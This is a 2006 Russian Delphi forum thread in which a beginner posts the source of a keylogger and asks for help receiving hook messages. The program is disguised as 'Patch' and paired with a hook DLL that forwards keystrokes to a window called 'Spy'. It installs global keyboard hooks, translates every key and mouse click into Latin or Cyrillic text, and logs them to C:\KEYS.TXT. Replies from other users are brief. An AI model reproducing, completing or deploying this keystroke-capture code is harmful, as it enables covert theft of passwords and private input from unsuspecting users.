Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Начинающим";
Текущий архив: 2006.01.22;
Скачать: [xml.tar.bz2];

Вниз

WinAPI проблема с type   Найти похожие ветки 

 
maxim123   (2006-01-04 20:20) [0]

Здравствуйте.
 Я пишу хуку и начал изучать WinApi вроде как на нем приложения очень маленькие. Есть DLL она отсылает данные форме выполненой на WINAPI . Есть программа (форма) в прорграмме процедура обработки полученных данных но ее нужно определить в  Type

Program Patch;

Uses windows,messages, shellapi;

type TWMU=record
    msg:Cardinal;
    UU1:Word;
    UU2:Word;
    UU3:LongInt;
    Result:LongInt;

    end;
// Далее следует проблема
//type ......... А что мне сюда вписать прога ведъ на API
//  private
//    procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;



 
Maxim123   (2006-01-04 20:56) [1]

Вопрос даже не с type а как обработать информацию приходящию на WinApi Форму


 
Игорь Шевченко ©   (2006-01-05 10:27) [2]


>  как обработать информацию приходящию на WinApi Форму


Очевидно в оконной процедуре ? Я угадал ?


 
maxim123   (2006-01-05 12:36) [3]

Да совершенно точно Третий день бьюсь над этим вопросом
данные отсылаются
SendMessage(FindWindow(nil,"Шпион"),WM_CHAR,wparam,0);

но как их принять???


 
Игорь Шевченко ©   (2006-01-05 12:37) [4]


> но как их принять???


Также, как другие сообщения - в оконной процедуре.


 
maxim123   (2006-01-05 12:39) [5]

А примерчик можно


 
Игорь Шевченко ©   (2006-01-05 13:39) [6]


> А примерчик можно


У тебя он уже есть - твоя "форма на WinAPI"


 
Gero ©   (2006-01-05 13:44) [7]

> SendMessage(FindWindow(nil,"Шпион"),WM_CHAR,wparam,0);

А ведь так потом и пишут в программах.


 
maxim123   (2006-01-05 13:55) [8]

мда ну тогда приведу весь код

DLL

library hook;
uses  
 windows;

const
 //Messages.pas;

 WM_CHAR             = $0102;

function KeyboardProc(code:Integer;wparam,
               lparam:LongInt):LRESULT; stdcall
begin
SendMessage(FindWindow("TForm1","Шпион"),WM_CHAR,wparam,0);
Result:=0;
end;

exports
KeyboardProc;

begin
end.


Сама программа



Program Patch;

Uses windows,messages, shellapi, SysUtils, Classes, dialogs;

//type Tmyclass = class
//...... А что мне сюда вписать прога веди на API
// private
//   procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;

var
 Msg2:TWMKEY;
 msg: tmsg;
 win: hwnd;
 h,z:hhook;
 libhandle:HINST;
 hkprcKeyboard: TFNHookProc;
 x:integer;

{$R API.RES}
procedure setHookApi;
begin

end;

procedure unsetHookApi;
begin
UnhookWindowsHookEx(h);
UnhookWindowsHookEx(z);
end;

//Функция определения язака
function WinLang:Boolean;
var
 Layout: array [0.. KL_NAMELENGTH] of char;
begin
 GetKeyboardLayoutName(Layout);
if Layout = "00000409" then Result:=False else Result:=True ;
end;

//Обрабатываем сообщения от DLL
procedure HOOKEVENT(var Msg2:TWMKEY);
var F:TextFile;
click: string;
begin
if x=1 then begin
if ((Msg2.CharCode > 512) and (Msg2.CharCode < 523)) or (Msg2.CharCode < 300)  then
begin
  if WinLang then begin
case Msg2.CharCode of
  522: click:="[Rolik]";
  519: click:="[Mouse3]";
  520: click:="[Mouse3]";
  513: click:="[MouseLeft]";
  514: click:="[MouseLeft]";
  516: click:="[MouseRight]";
  517: click:="[MouseRight]";
    8: click:="[BackSpase]";
    9: click:="[Tab]";
   13: click:="[Enter]";
   16: click:="[Shift]";
   17: click:="[Control]";
   18: click:="[Alt]";
   19: click:="[Pause]";
   20: click:="[CapsLock]";
   27: click:="[Esc]";
   32: click:="[Space]";
   33: click:="[PageUp]";
   34: click:="[PageDown]";
   35: click:="[End]";
   36: click:="[Home]";
   37: click:="[влево]";
   38: click:="[вверх]";
   39: click:="[вправо]";
   40: click:="[вниз]";
   44: click:="[PrtScr]";
   45: click:="[Insert]";
   46: click:="[Del]";
   48: click:="0";
   49: click:="1";
   50: click:="2";
   51: click:="3";
   52: click:="4";
   53: click:="5";
   54: click:="6";
   55: click:="7";
   56: click:="8";
   57: click:="9";
   65: click:="ф";
   66: click:="и";
   67: click:="с";
   68: click:="в";
   69: click:="у";
   70: click:="а";
   71: click:="п";
   72: click:="р";
   73: click:="ш";
   74: click:="о";
   75: click:="л";
   76: click:="д";
   77: click:="ь";
   78: click:="т";
   79: click:="щ";
   80: click:="з";
   81: click:="й";
   82: click:="к";
   83: click:="ы";
   84: click:="е";
   85: click:="г";
   86: click:="м";
   87: click:="ц";
   88: click:="ч";
   89: click:="н";
   90: click:="я";
   91: click:="[WinKeyL]";
   92: click:="[WinKeyR]";
   93: click:="[ContextMenu]";
   96: click:="0";
   97: click:="1";
   98: click:="2";
   99: click:="3";
  100: click:="4";
  101: click:="5";
  102: click:="6";
  103: click:="7";
  104: click:="8";
  105: click:="9";
  144: click:="[NumLock]";
  111: click:="/";
  106: click:="*";
  109: click:="-";
  107: click:="+";
  110: click:=".";
  112: click:="[F1]";
  113: click:="[F2]";
  114: click:="[F3]";
  115: click:="[F4]";
  116: click:="[F5]";
  117: click:="[F6]";
  118: click:="[F7]";
  119: click:="[F8]";
  120: click:="[F9]";
  121: click:="[F10]";
  122: click:="[F11";
  123: click:="[F12]";
  145: click:="[ScrollLock]";
  186: click:="ж";
  187: click:="=";
  188: click:="б";
  189: click:="-";
  190: click:="ю";
  191: click:=".";
  192: click:="`";
  219: click:="х";
  220: click:="\";
  221: click:="ъ";
  222: click:="э";
end;
end else begin
 case Msg2.CharCode of
  522: click:="[Rolik]";
  519: click:="[Mouse3]";
  520: click:="[Mouse3]";
  513: click:="[MouseLeft]";
  514: click:="[MouseLeft]";
  516: click:="[MouseRight]";
  517: click:="[MouseRight]";
    8: click:="[BackSpase]";
    9: click:="[Tab]";
   13: click:="[Enter]";
   16: click:="[Shift]";
   17: click:="[Control]";
   18: click:="[Alt]";
   19: click:="[Pause]";
   20: click:="[CapsLock]";
   27: click:="[Esc]";
   32: click:="[Space]";
   33: click:="[PageUp]";
   34: click:="[PageDown]";
   35: click:="[End]";
   36: click:="[Home]";
   37: click:="[влево]";
   38: click:="[вверх]";
   39: click:="[вправо]";
   40: click:="[вниз]";
   44: click:="[PrtScr]";
   45: click:="[Insert]";
   46: click:="[Del]";
   48: click:="0";
   49: click:="1";
   50: click:="2";
   51: click:="3";
   52: click:="4";
   53: click:="5";
   54: click:="6";
   55: click:="7";
   56: click:="8";
   57: click:="9";
   65: click:="a";
   66: click:="b";
   67: click:="c";
   68: click:="d";
   69: click:="e";
   70: click:="f";
   71: click:="g";
   72: click:="h";
   73: click:="i";
   74: click:="j";
   75: click:="k";
   76: click:="l";
   77: click:="m";
   78: click:="n";
   79: click:="o";
   80: click:="p";
   81: click:="q";
   82: click:="r";
   83: click:="s";
   84: click:="t";
   85: click:="u";
   86: click:="v";
   87: click:="w";
   88: click:="x";
   89: click:="y";
   90: click:="z";
   91: click:="[WinKeyL]";
   92: click:="[WinKeyR]";
   93: click:="[ContextMenu]";
   96: click:="0";
   97: click:="1";
   98: click:="2";
   99: click:="3";
  100: click:="4";
  101: click:="5";
  102: click:="6";
  103: click:="7";
  104: click:="8";
  105: click:="9";
  144: click:="[NumLock]";
  111: click:="/";
  106: click:="*";
  109: click:="-";
  107: click:="+";
  110: click:=".";
  112: click:="[F1]";
  113: click:="[F2]";
  114: click:="[F3]";
  115: click:="[F4]";
  116: click:="[F5]";
  117: click:="[F6]";
  118: click:="[F7]";
  119: click:="[F8]";
  120: click:="[F9]";
  121: click:="[F10]";
  122: click:="[F11";
  123: click:="[F12]";
  145: click:="[ScrollLock]";
  186: click:=";";
  187: click:="=";
  188: click:=",";
  189: click:="-";
  190: click:=".";
  191: click:="/";
  192: click:="`";
  219: click:="[";
  220: click:="\";
  221: click:="]";
  222: click:="`";
end;
end;
//Memo1.Lines.Add(click);
AssignFile(F,"C:\KEYS.TXT");
If not FileExists("C:\KEYS.TXT") then Rewrite(F)else
       Append(F);
WriteLn(F,click);
CloseFile(F);
end;
x:=0;
end else x:=1;
Msg2.Result:=0;
end;


 
maxim123   (2006-01-05 13:55) [9]

Procedure trans;
type
  TLayeredWndAttr = function(hwnd:integer; color:integer; level:integer; mode:integer): Integer; stdcall;
const
  LWA_ALPHA = $2;
  WS_EX_LAYERED = $80000;
var
  LayeredWndAttr: TLayeredWndAttr;
  i : integer;
begin
  i := 50;
  LayeredWndAttr := GetProcAddress(GetModuleHandle("user32.dll"),
                 "SetLayeredWindowAttributes");

  SetWindowLong(FindWindow(nil,"test"), GWL_EXSTYLE, WS_EX_LAYERED);
  LayeredWndAttr(FindWindow(nil,"test"), RGB(0,0,0), i*255 div 100, LWA_ALPHA);
end;

Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;

Begin
Result := 0;
Case msg of
wm_InitDialog : Begin Result := 0; End;
wm_Command : Begin
   case LoWord(WParam) of                            
50: begin
trans;
setHookApi;

end;

// ??????????????????????????
WM_CHAR : HOOKEVENT(Msg2);
//?????????????????????????????
end;
end;
wm_Close   : DestroyWindow(Win);
wm_Destroy : PostQuitMessage(0);
else Result := 0;
end;
end;

Procedure RunSettings;
Begin
Win := CreateDialog(hInstance,PCHar(101),0,@SettingsDlgProc);
Showwindow(Win,SW_SHOW);
Updatewindow(Win);
End;

begin
x:=0;
libhandle:=LoadLibrary("hook.dll");
showmessage(floattostr(libhandle));
hkprckeyboard:=GetProcAddress(libhandle, "KeyboardProc");
 h:=SetWindowsHookEX(14,hkprckeyboard,libhandle,0);
 z:=SetWindowsHookEX(WH_KEYBOARD,hkprckeyboard,libhandle,0);
RunSettings;
While GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.



api.rc



101 DIALOG 0, 0, 266, 95
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUPWINDOW |
WS_DLGFRAME
CAPTION "test"
FONT 8, "MS Sans Serif"
{
DEFPUSHBUTTON "Patch", 50, 13, 73, 59, 14
CTEXT "Тест WinAPI", 100, 13, 42, 240, 27, SS_SUNKEN
CONTROL 101, -1, "STATIC", SS_BITMAP | SS_CENTERIMAGE | SS_REALSIZEIMAGE |
SS_SUNKEN, 13, 8, 240, 30
end


 
maxim123   (2006-01-05 14:01) [10]

поправочка в DLL вместо Tform1 NIL вместо шпион test


 
Игорь Шевченко ©   (2006-01-05 14:33) [11]

А где форма на апи ?


 
maxim123   (2006-01-05 14:38) [12]

вот с этой хр***Ю я и разбираюсь файл rc Это настройки формы
если есть у кого другие примеры и предложения то выкладывайте их сюда или мне на мыло maxcor@bk.ru



Страницы: 1 вся ветка

Форум: "Начинающим";
Текущий архив: 2006.01.22;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.5 MB
Время: 0.038 c
14-1135372589
версия для печати
2005-12-24 00:16
2006.01.22
Программа Максимум


14-1135583754
Иксик
2005-12-26 10:55
2006.01.22
Кому-нибудь попадалась книга "Наносистемы" на русском?


1-1134687807
Батала
2005-12-16 02:03
2006.01.22
Как определить какая кнопка нажата (не путать с символами)?


14-1135983924
Profi
2005-12-31 02:05
2006.01.22
Всех С Новым 2006 Годом!


2-1136450705
Slaga
2006-01-05 11:45
2006.01.22
Как подключиться к Firebird u не "родными" компонентами, но и BDE





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский